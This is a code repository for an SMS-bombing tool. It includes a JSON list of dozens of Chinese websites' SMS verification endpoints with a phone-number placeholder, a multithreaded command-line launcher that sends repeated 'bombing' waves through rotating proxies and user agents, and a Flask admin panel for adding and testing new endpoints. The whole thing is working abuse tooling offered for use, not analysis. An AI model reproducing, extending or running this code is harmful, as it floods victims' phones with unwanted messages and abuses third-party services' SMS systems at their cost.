607 | "header": "",
608 | "data": ""
609 | },
610 | {
611 | "desc": "云杏HIS系统(九明珠)",
612 | "url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm",
613 | "method": "POST",
614 | "header": "",
615 | "data": "{'lxdh': [phone]}"
616 | },
617 | {
618 | "desc": "秘塔写作",
619 | "url": "https://xiezuocat.com/verify?type=signup",
620 | "method": "POST",
621 | "header": "",
622 | "data": {
623 | "phone": "86-[phone]"
624 | }
625 | },
626 | {
627 | "desc": "CNMO 网站",
628 | "url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]",
629 | "method": "POST",
630 | "header": "",
631 | "data": ""
632 | },
633 | {
634 | "desc": "DR钻戒web",
635 | "url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login",
636 | "method": "GET",
637 | "header": "",
638 | "data": ""
639 | },
640 | {
641 | "desc": "有享云商web",
642 | "url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2",
643 | "method": "GET",
644 | "header": "",
645 | "data": ""
646 | },
647 | {
648 | "desc": "研才教育app",
649 | "url": "https://mall.yancais.com/api/sms/send?phone=[phone]",
650 | "method": "GET",
651 | "header": "",
652 | "data": ""
653 | },
654 | {
655 | "desc": "成卓科技",
656 | "url": "https://callphone.hnczkj.cn/app_api/json/sendSms",
657 | "method": "POST",
658 | "header": "",
659 | "data": {
660 | "phone": "[phone]",
661 | "product": "biyingdianhua_ios",
662 | "key": "mwoe093fwef"
663 | }
664 | },
665 | {
666 | "desc": "加密电话",
667 | "url": "https://m.4009991000.com/valNumQry.action",
668 | "method": "POST",
669 | "header": "",
670 | "data": {
671 | "appType": "1",
672 | "app_id": "5555",
673 | "mobileNo": "[phone]",
674 | "sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5",
675 | "src": "1",
676 | "v": "4.9.2",
677 | "validType": "3"
678 | }
679 | },
680 | {
681 | "desc": "快应用美抽",
682 | "url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]",
683 | "method": "POST",
684 | "header": "",
685 | "data": ""
686 | },
687 | {
688 | "desc": "小叶子app",
689 | "url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86",
690 | "method": "GET",
691 | "header": "",
692 | "data": ""
693 | },
694 | {
695 | "desc": "牙e在线",
696 | "url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02×tamp=[timestamp]",
697 | "method": "POST",
698 | "header": "",
699 | "data": "mobile=[phone]&smsType=02×tamp=[timestamp]"
700 | },
701 | {
702 | "desc": "某数图表web(存疑)",
703 | "url": "https://dycharts.com/vis/auth/send_signin_sms_code",
704 | "method": "POST",
705 | "header": "",
706 | "data": {
707 | "phoneNo": "13809213237"
708 | }
709 | },
710 | {
711 | "desc": "17k小说网app",
712 | "url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206",
713 | "method": "GET",
714 | "header": "",
715 | "data": ""
716 | },
717 | {
718 | "desc": "汇看点快应用",
719 | "url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG",
720 | "method": "POST",
721 | "header": "",
722 | "data": ""
723 | },
724 | {
725 | "desc": "核桃编程app",
726 | "url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]",
727 | "method": "GET",
728 | "header": "",
729 | "data": ""
730 | },
731 | {
732 | "desc": "永城至敏",
733 | "url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]",
734 | "method": "GET",
735 | "header": "",
736 | "data": ""
737 | },
738 | {
739 | "desc": "金中网",
740 | "url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3",
741 | "method": "GET",
742 | "header": "",
743 | "data": ""
744 | }
745 | ]
--------------------------------------------------------------------------------
/flask_app/__init__.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | # app 工厂函数
3 | from flask import Flask, current_app
4 | from flask_sqlalchemy import SQLAlchemy
5 | from flask_admin import Admin
6 | from flask_babelex import Babel
7 | import sys
8 | import os
9 | from loguru import logger
10 |
11 | # 判断系统
12 | WIN = sys.platform.startswith('win')
13 | if WIN: # 如果是 Windows 系统,使用三个斜线
14 | prefix = 'sqlite:///'
15 | else: # 否则使用四个斜线
16 | prefix = 'sqlite:////'
17 |
18 | # 日志处理
19 | logger.remove()
20 | logger.add(
21 | sink=sys.stdout,
22 | format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}",
23 | colorize=True,
24 | backtrace=True
25 | )
26 |
27 | app = Flask(__name__)
28 |
29 |
30 | # app config
31 | class AppConfig:
32 | SQLALCHEMY_DATABASE_URI = prefix + \
33 | os.path.join(app.root_path, 'data.db') # 数据库路径
34 | SQLALCHEMY_TRACK_MODIFICATIONS = False # 关闭对模型修改的监控
35 | FLASK_ADMIN_SWATCH = "cerulean" # admin 主题
36 |
37 | # 密钥
38 | SESSION_TYPE = 'filesystem'
39 | SECRET_KEY = os.urandom(24)
40 |
41 | BABEL_DEFAULT_LOCALE = 'zh_CN' # 汉化
42 |
43 | TEST_PHONE = "19820294268" # 测试手机号
44 |
45 |
46 | app.config.from_object(AppConfig)
47 | # 设置模板全局变量
48 | # print(app.config.get("TEST_PHONE"))
49 | app.add_template_global(current_app, "current_app")
50 |
51 | # 扩展
52 | db = SQLAlchemy(app)
53 | babel = Babel(app)
54 |
55 | admin = Admin(app, name="短信接口调试", template_mode='bootstrap3')
56 | from .model import ApisModelVies, Apis
57 |
58 | admin.add_view(ApisModelVies(Apis, db.session))
59 |
60 | # buleprint
61 | from .views import main as main_blueprint
62 |
63 | app.register_blueprint(main_blueprint)
64 |
--------------------------------------------------------------------------------
/flask_app/data.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/flask_app/data.db
--------------------------------------------------------------------------------
/flask_app/model.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | # 储存数据库模型
3 | import os
4 | from . import db
5 | from datetime import datetime
6 | from . import ModelView
7 | from json import loads
8 | from typing import Union, Optional
9 | from pydantic import BaseModel
10 | from random import choice
11 |
12 | headers = list()
13 | if os.path.exists("useragents"):
14 | txt_list = os.listdir("useragents")
15 | for txt in txt_list:
16 | try:
17 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f:
18 | headers.extend(f.read().split('\n'))
19 | except Exception:
20 | continue
21 |
22 |
23 | class ApisModelVies(ModelView):
24 | create_template = 'api_edit.html'
25 | edit_template = 'api_edit.html'
26 | # 在当前页面编辑
27 | # create_modal = True
28 | # edit_modal = True
29 | # 启用搜索
30 | column_searchable_list = ['desc']
31 | # 可以导出 csv
32 | can_export = True
33 |
34 |
35 | class Apis(db.Model):
36 | id = db.Column(db.Integer, primary_key=True) # 主键
37 | desc = db.Column(db.String(20), default="Default") # 描述
38 | url = db.Column(db.String(9999), unique=True, nullable=False) # 链接
39 | method = db.Column(db.Enum("GET", "POST"), nullable=False) # 请求方法
40 | header = db.Column(db.String(9999)) # 请求头
41 | data = db.Column(db.String(9999)) # 请求数据
42 | add_time = db.Column(db.DateTime(), default=datetime.now) # 添加时间
43 |
44 |
45 | class API(BaseModel):
46 | desc: str = "Default"
47 | url: str
48 | method: str = "GET"
49 | header: Optional[Union[str, dict]] = {'User-Agent': choice(headers)}
50 | data: Optional[Union[str, dict]]
51 |
52 | def replace_data(self, content: Union[str, dict], phone) -> str:
53 | # 统一转换成 str 再替换.
54 | content = str(content).replace("[phone]", phone).replace(
55 | "[timestamp]", self.timestamp_new()).replace("'", '"')
56 | # 尝试 json 化
57 | try:
58 | # loads(content)
59 | # print("json成功",content)
60 | return loads(content)
61 | except:
62 | # print("json失败",content)
63 | return content
64 |
65 | @staticmethod
66 | def timestamp_new() -> str:
67 | """返回整数字符串时间戳"""
68 | return str(int(datetime.now().timestamp()))
69 |
70 | def handle_API(self, phone=None):
71 | """
72 | :param phone:
73 | :return:
74 | """
75 | # 仅仅当传入 phone 参数时添加 Referer
76 | # fix: 这段代码很有问题.......
77 | if phone:
78 | # 进入的 header 是个字符串
79 | if self.header == "":
80 | self.header = {'Referer': self.url}
81 |
82 | self.header = self.replace_data(self.header, phone)
83 | if not self.header.get('Referer'):
84 | self.header['Referer'] = self.url # 增加 Referer
85 |
86 | self.data = self.replace_data(self.data, phone)
87 | self.url = self.replace_data(self.url, phone)
88 | # print(self)
89 | return self
90 |
--------------------------------------------------------------------------------
/flask_app/static/test.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | function getValue() {
4 | let desc = $("#desc").val();
5 | let url = $("#url").val();
6 | let method = $("#method").val();
7 | let header = $("#header").val();
8 | let phone = $("#phone").val();
9 | let data_ = $("#data").val();
10 |
11 | let data = {
12 | "desc": desc,
13 | "url": url,
14 | "method": method,
15 | "header": header,
16 | "phone": phone,
17 | "data": data_
18 | };
19 |
20 | return data;
21 | };
22 |
23 | $(document).ready(function () {
24 |
25 |
26 |
27 | $("#test").click(function () {
28 |
29 | $.ajax({
30 | type: "POST",
31 | url: "/testapi/",
32 | contentType: "application/json",
33 | data: JSON.stringify(getValue()),
34 | dataType: "json",
35 | success: function (response) {
36 | if (response.status == 0) {
37 | $("#suc").show().text("请求成功!:" + response.resp);
38 | } else {
39 | $("#suc").attr("class", "alert alert-warning").show().text("请求失败!:" + response.resp);
40 | }
41 | },
42 | error: function (XMLHttpRequest, textStatus, errorThrown) {
43 | $("#error").show().text("发送请求错误请检查后端接口:" + textStatus);
44 | },
45 | });
46 |
47 | });
48 |
49 | // console.log(desc, url, method, header);
50 |
51 |
52 | });
--------------------------------------------------------------------------------
/flask_app/templates/admin_back.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | 短信轰炸接口调试工具.
9 |
10 |
12 |
15 |
18 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | 短信接口添加工具
34 | By 落落
35 |
36 |
37 |
38 |
44 |
45 |
51 |
52 |
58 |
59 |
65 |
66 |
67 |
68 |
75 |
76 |
82 |
83 |
84 |
85 |
86 | 接口报错!Msg: {{ resp.msg }}
87 |
88 |
89 |
90 |
91 | 测试成功!Msg: {{ resp.msg }}
92 |
93 |
94 | 接口响应: {{ resp.data }}
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 | 请求失败,请检查接口 Why: {{ resp }}
103 | 接口地址: {{ api }}
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
172 |
173 |
--------------------------------------------------------------------------------
/flask_app/templates/api_edit.html:
--------------------------------------------------------------------------------
1 | {% extends 'admin/model/edit.html' %}
2 |
3 | {% block body %}
4 | 短信接口添加
5 | 替换字符: 手机号[phone]
时间戳[timestamp]
6 | {{ super() }}
7 |
8 |
9 | {% endblock %}
10 |
11 |
12 | {% block tail %}
13 | 请求错误!
14 | 请求成功!
15 |
16 | {% endblock %}
17 |
--------------------------------------------------------------------------------
/flask_app/utils.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | import os
3 | from httpx import Client, Response
4 | from .model import API
5 | from random import choice
6 |
7 | headers = list()
8 | if os.path.exists("useragents"):
9 | txt_list = os.listdir("useragents")
10 | for txt in txt_list:
11 | try:
12 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f:
13 | headers.extend(f.read().split('\n'))
14 | except Exception:
15 | continue
16 |
17 |
18 | def test_resq(api: API, phone) -> Response:
19 | """测试 API 返回响应
20 | :param api: API model
21 | :param phone: 手机号
22 | :return: httpx 请求对象.
23 | """
24 | api = api.handle_API(phone)
25 | with Client(headers={'User-Agent': choice(headers)}, timeout=8) as client:
26 | # 这个判断没意义.....但是我不知道怎么优化...
27 | # https://stackoverflow.com/questions/26685248/difference-between-data-and-json-parameters-in-python-requests-package
28 | # Todo: json 和 data 表单发送的问题,有些服务器不能解释 json,只能接受表单
29 | # sol: 1. 添加额外字段判断...
30 | if not isinstance(api.data, dict):
31 | print("data")
32 | resp = client.request(method=api.method, headers=api.header,
33 | url=api.url, data=api.data)
34 | else:
35 | print('json')
36 | resp = client.request(
37 | method=api.method, headers=api.header, url=api.url, json=api.data)
38 |
39 | return resp
40 |
41 |
42 | if __name__ == '__main__':
43 | pass
44 |
--------------------------------------------------------------------------------
/flask_app/views/__init__.py:
--------------------------------------------------------------------------------
1 | from flask import Blueprint
2 |
3 | main = Blueprint("main",__name__)
4 |
5 | from . import views, error
6 | from .. import db
--------------------------------------------------------------------------------
/flask_app/views/error.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python python3
2 | # coding=utf-8
3 | from . import main
4 | from flask import redirect, url_for
5 |
6 |
7 | @main.app_errorhandler(404)
8 | def page_not_found(e):
9 | """注册应用全局错误处理"""
10 | print("404")
11 | return redirect(url_for('main.index'))
12 |
13 |
14 | @main.app_errorhandler(401)
15 | def authfail(e):
16 | return redirect('/static/401.jpg')
--------------------------------------------------------------------------------
/flask_app/views/views.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | # flask app views
3 | from . import main
4 | import json
5 | from ..model import Apis, API
6 | from ..utils import test_resq
7 | from .. import logger
8 | import httpx
9 | from flask_app import db
10 | from flask import request, jsonify
11 |
12 |
13 | @main.route("/", methods=['GET', 'POST'])
14 | def index():
15 | return "index"
16 |
17 |
18 | @main.route("/testapi/", methods=['GET', 'POST'])
19 | def testapi():
20 | try:
21 | req = request.json
22 | api = API(**req)
23 | resp = test_resq(api, phone=req.get('phone'))
24 | print(resp.text)
25 | return jsonify({"status": 0, "resp": f"{resp.text}"})
26 | except httpx.HTTPError as why:
27 | return jsonify({"status": 1, "resp": f"HTTP请求错误:{why}"})
28 | except Exception as why:
29 | logger.exception(why)
30 | return jsonify({"status": 1, "resp": f"其他错误:{why}"})
31 |
--------------------------------------------------------------------------------
/img/Screenshot_20220919_173722_com.android.mms.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/Screenshot_20220919_173722_com.android.mms.jpg
--------------------------------------------------------------------------------
/img/smsboom-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/smsboom-logo.png
--------------------------------------------------------------------------------
/img/test.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/test.gif
--------------------------------------------------------------------------------
/img/webui-test-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/webui-test-2.png
--------------------------------------------------------------------------------
/img/webui-test.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/webui-test.png
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import click
4 | from typing import Union
5 | from utils.models import API
6 | from utils.req import req_func, req_func_by_proxy, run_async, run_async_by_proxy
7 | from concurrent.futures import ThreadPoolExecutor
8 | from ProxySpider import ProxySpider
9 | from pathlib import Path
10 | from json import loads
11 | from httpx import Client
12 | from random import choice
13 | from time import sleep
14 | from asyncio import get_event_loop
15 |
16 | # 確定應用程序係一個腳本文件或凍結EXE
17 | if getattr(sys, 'frozen', False):
18 | path = os.path.dirname(sys.executable)
19 | elif __file__:
20 | path = os.path.dirname(__file__)
21 |
22 | headers = list()
23 | if os.path.exists("useragents"):
24 | txt_list = os.listdir("useragents")
25 | for txt in txt_list:
26 | try:
27 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f:
28 | headers.extend(f.read().split('\n'))
29 | except Exception:
30 | continue
31 |
32 |
33 | @click.group()
34 | def cli():
35 | pass
36 |
37 |
38 | @click.command()
39 | def update():
40 | """从 github 获取最新接口"""
41 | GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json"
42 | API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json"
43 | print("正在从GitHub拉取最新接口!")
44 | try:
45 | with Client(verify=False, timeout=10) as client:
46 | GETAPI_json = client.get(
47 | GETAPI_json_url, headers={'User-Agent': choice(headers)}).content.decode(encoding="utf8")
48 | api_json = client.get(
49 | API_json_url, headers={'User-Agent': choice(headers)}).content.decode(encoding="utf8")
50 |
51 | except Exception as e:
52 | print("拉取更新失败:{}请关闭所有代理软件多尝试几次!".format(e))
53 |
54 | else:
55 | with open(Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
56 | a.write(GETAPI_json)
57 | with open(Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
58 | a.write(api_json)
59 |
60 | print("接口更新成功!")
61 |
62 |
63 | @click.command()
64 | @click.option("--thread", "-t", help="线程数(默认64)", default=64)
65 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
66 | @click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int)
67 | @click.option('--proxies', "-e", default=10, help="一次攻击所需代理(默认10),不使用代理则设为0", type=int)
68 | def run(thread: int, phone: Union[str, tuple], interval: int, proxies: int):
69 | """传入线程数和手机号启动轰炸,支持多手机号"""
70 |
71 | print("手机号:{}, 线程数:{}, 间隔时间:{}, 代理数:{}".format(phone, thread, interval, proxies))
72 |
73 | Spider = ProxySpider(proxies, proxypool_url='http://127.0.0.1:5555/random')
74 |
75 | try:
76 | """load json for api.json"""
77 | json_path = Path(path, 'api.json')
78 | if not json_path.exists():
79 | raise ValueError
80 | with open(json_path.resolve(), mode="r", encoding="utf8") as j:
81 | try:
82 | datas = loads(j.read())
83 | api = [API(**data) for data in datas]
84 |
85 | except Exception:
86 | raise ValueError
87 |
88 | """load json for GETAPI.json"""
89 | json_path = Path(path, 'GETAPI.json')
90 | if not json_path.exists():
91 | raise ValueError
92 | with open(json_path.resolve(), mode="r", encoding="utf8") as j:
93 | try:
94 | getapi = loads(j.read())
95 | except Exception:
96 | raise ValueError
97 |
98 | except ValueError:
99 | print("读取接口出错!正在重新下载接口数据!....")
100 | update()
101 | sys.exit(1)
102 |
103 | with ThreadPoolExecutor(max_workers=thread) as pool:
104 | i = 1
105 | while True:
106 | print("第{}波轰炸开始!".format(i))
107 | if proxies != 0:
108 | Spider.run()
109 | print("第{}波轰炸 - 当前正在使用代理{}, 进行轰炸...".format(i, Spider.ip_list))
110 | # {'all://': 'http://91.93.42.115:10001'}
111 | for value in api:
112 | pool.submit(req_func_by_proxy, value, phone, {'http://': 'http://' + choice(Spider.ip_list)})
113 |
114 | for value in getapi:
115 | pool.submit(req_func_by_proxy, value, phone, {'http://': 'http://' + choice(Spider.ip_list)})
116 |
117 | del ProxySpider.ip_list[:]
118 | else:
119 | print("第{}波开始轰炸...".format(i))
120 | for value in api:
121 | pool.submit(req_func, value, phone)
122 | for value in getapi:
123 | pool.submit(req_func, value, phone)
124 |
125 | print("第{}波轰炸提交结束!休息{}s.....".format(i, interval))
126 | i = i + 1
127 | sleep(interval)
128 |
129 |
130 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
131 | @click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int)
132 | @click.option('--proxies', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool)
133 | @click.command()
134 | def async_run(phone: Union[str, tuple], interval: int, proxies: bool = False):
135 | """以最快的方式请求接口(真异步百万并发)"""
136 |
137 | print("手机号:{}, 间隔时间:{}, 是否开启代理:{}".format(phone, interval, proxies))
138 |
139 | """load json for api.json"""
140 | json_path = Path(path, 'api.json')
141 | if not json_path.exists():
142 | raise ValueError
143 | with open(json_path.resolve(), mode="r", encoding="utf8") as j:
144 | try:
145 | datas = loads(j.read())
146 | api = [API(**data) for data in datas]
147 |
148 | except Exception:
149 | raise ValueError
150 |
151 | """load json for GETAPI.json"""
152 | json_path = Path(path, 'GETAPI.json')
153 | if not json_path.exists():
154 | raise ValueError
155 | with open(json_path.resolve(), mode="r", encoding="utf8") as j:
156 | try:
157 | getapi = loads(j.read())
158 | except Exception:
159 | raise ValueError
160 |
161 | apis = api + getapi
162 | Spider = ProxySpider(1, proxypool_url='http://127.0.0.1:5555/random')
163 |
164 | i = 1
165 | while True:
166 | print("第{}波轰炸开始!".format(i))
167 | if proxies:
168 | Spider.run()
169 | # {'http://': 'http://' + Spider.ip_list[-1]}
170 | proxy = {'http://': 'http://' + Spider.ip_list[-1]}
171 | print("第{}波轰炸 - 当前正在使用代理{}, 进行轰炸...".format(i, proxy))
172 | loop = get_event_loop()
173 | loop.run_until_complete(run_async_by_proxy(apis, phone, proxy))
174 | del Spider.ip_list[:]
175 | else:
176 | print("第{}波开始轰炸...".format(i))
177 | loop = get_event_loop()
178 | loop.run_until_complete(run_async(apis, phone))
179 |
180 | print("第{}波轰炸提交结束!休息{}s.....".format(i, interval))
181 | i = i + 1
182 | sleep(interval)
183 |
184 |
185 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
186 | @click.command()
187 | def one_run(phone: Union[str, tuple]):
188 | """单线程(测试使用)"""
189 | """load json for api.json"""
190 | json_path = Path(path, 'api.json')
191 | if not json_path.exists():
192 | raise ValueError
193 | with open(json_path.resolve(), mode="r", encoding="utf8") as j:
194 | try:
195 | datas = loads(j.read())
196 | api = [API(**data) for data in datas]
197 |
198 | except Exception:
199 | raise ValueError
200 |
201 | """load json for GETAPI.json"""
202 | json_path = Path(path, 'GETAPI.json')
203 | if not json_path.exists():
204 | raise ValueError
205 | with open(json_path.resolve(), mode="r", encoding="utf8") as j:
206 | try:
207 | getapi = loads(j.read())
208 | except Exception:
209 | raise ValueError
210 |
211 | apis = api + getapi
212 |
213 | for api in apis:
214 | try:
215 | req_func(api, phone)
216 | except Exception as e:
217 | print(e)
218 |
219 |
220 | cli.add_command(update)
221 | cli.add_command(run)
222 | cli.add_command(async_run)
223 | cli.add_command(one_run)
224 |
225 | if __name__ == '__main__':
226 | cli()
227 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/requirements.txt
--------------------------------------------------------------------------------
/run_flask_app.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | # flask app 主文件
3 | import click
4 | from loguru import logger
5 | from pathlib import Path
6 | import json
7 | from flask_app import db, app
8 | from flask_app.model import Apis
9 | from utils.models import API
10 |
11 | json_path = Path(app.root_path).parent.joinpath(
12 | "api.json")
13 |
14 |
15 | @click.command()
16 | @click.option('--drop', is_flag=True, help='重建数据库') # 设置选项
17 | def init(drop):
18 | """初始化数据库"""
19 | if drop:
20 | db.drop_all()
21 | logger.info("删除数据库...准备重建..")
22 | db.create_all()
23 | logger.success("数据库创建成功")
24 |
25 |
26 | @click.command()
27 | @logger.catch()
28 | def json2sqlite():
29 | """将json数据转为sqlite数据库"""
30 | j = json_path.read_text(encoding="utf8")
31 |
32 | jss = json.loads(j)
33 | for js in jss:
34 | api = Apis(
35 | desc=str(js['desc']),
36 | url=str(js['url']),
37 | method=str(js['method']),
38 | data=str(js['data']),
39 | header=str(js['header'])
40 | )
41 | # print(api.desc)
42 | try:
43 | db.session.add(api)
44 | db.session.commit()
45 | logger.info(f"{api.desc} 写入成功!")
46 | except Exception as e:
47 | db.session.rollback() # 回滚
48 | logger.error(f"{api.desc}写入数据库错误:{e}")
49 |
50 | logger.success("json To sqlite 成功!")
51 |
52 |
53 | @click.command()
54 | @logger.catch()
55 | def sqlite2json():
56 | """将sqlite数据转为json"""
57 | apis = Apis.query.all()
58 | apis_ = []
59 | for api in apis:
60 | # print(api.url)
61 | if api.data is None:
62 | api.data = ""
63 | if api.header is None:
64 | api.header = ""
65 | data = {
66 | "desc": api.desc,
67 | "url": api.url,
68 | "method": api.method,
69 | "data": api.data,
70 | "header": api.header,
71 | }
72 | try:
73 | api = API(**data).handle_api()
74 | apis_.append(api.dict())
75 | except:
76 | pass
77 | # print(apis_)
78 | with open(json_path, mode="w", encoding="utf8") as j:
79 | try:
80 | json.dump(apis_, j, ensure_ascii=False, sort_keys=False, indent=4)
81 | logger.success("sqlite->json 成功!")
82 | except Exception:
83 | logger.exception("写入到 json 文件错误!")
84 |
85 |
86 | @click.command()
87 | @click.option('--host', '-h', help='监听地址', default="0.0.0.0")
88 | @click.option('--port', '-p', help='监听端口', default=9090)
89 | def start(host, port):
90 | """启动 flask app"""
91 | app.run(host=host, port=port, debug=True)
92 |
93 |
94 | @click.group()
95 | def cli():
96 | pass
97 |
98 |
99 | cli.add_command(init)
100 | cli.add_command(start)
101 | cli.add_command(json2sqlite)
102 | cli.add_command(sqlite2json)
103 |
104 | if __name__ == "__main__":
105 | cli()
106 |
--------------------------------------------------------------------------------
/useragents/android.txt:
--------------------------------------------------------------------------------
1 | Mozilla/5.0 (Linux; U; Android 4.0.4; fr-fr; MIDC409 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
2 | Mozilla/5.0 (Linux; U; Android 4.0.3; fr-fr; MIDC410 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
3 | Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
4 | Mozilla/5.0 (Linux; U; Android 4.0.3; ru-ru; Explay Surfer 7.02 Build/ICS.g12refM703A1HZ1.20121009) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0
5 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 7 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
6 | Mozilla/5.0 (Android; Mobile; rv:18.0) Gecko/18.0 Firefox/18.0
7 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 4 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19
8 | Mozilla/5.0 (Linux; U; Android 4.0.3; es-es; MIDC410 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
9 | Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
10 | Mozilla/5.0 (Linux; Android 4.1.2; GT-I9300 Build/JZO54K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19
11 | Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
12 | Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
13 | Mozilla/5.0 (Android; Tablet; rv:18.0) Gecko/18.0 Firefox/18.0
14 | Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus S Build/JRO03E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
15 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 10 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
16 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
17 | Mozilla/5.0 (Linux; Android 4.2.1; Galaxy Nexus Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19
18 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-N5100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
19 | MSM7627A/1.0 Android/2.3 gingerbread/2.3.5 Release/11.16.2011 Browser/WebKit533.1 Profile/MIDP-1.0 Configuration/CLDC-1.0
20 | Opera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1301080958) Presto/2.11.355 Version/12.10
21 |
--------------------------------------------------------------------------------
/useragents/cloudplatforms.txt:
--------------------------------------------------------------------------------
1 | AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)
2 | AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)
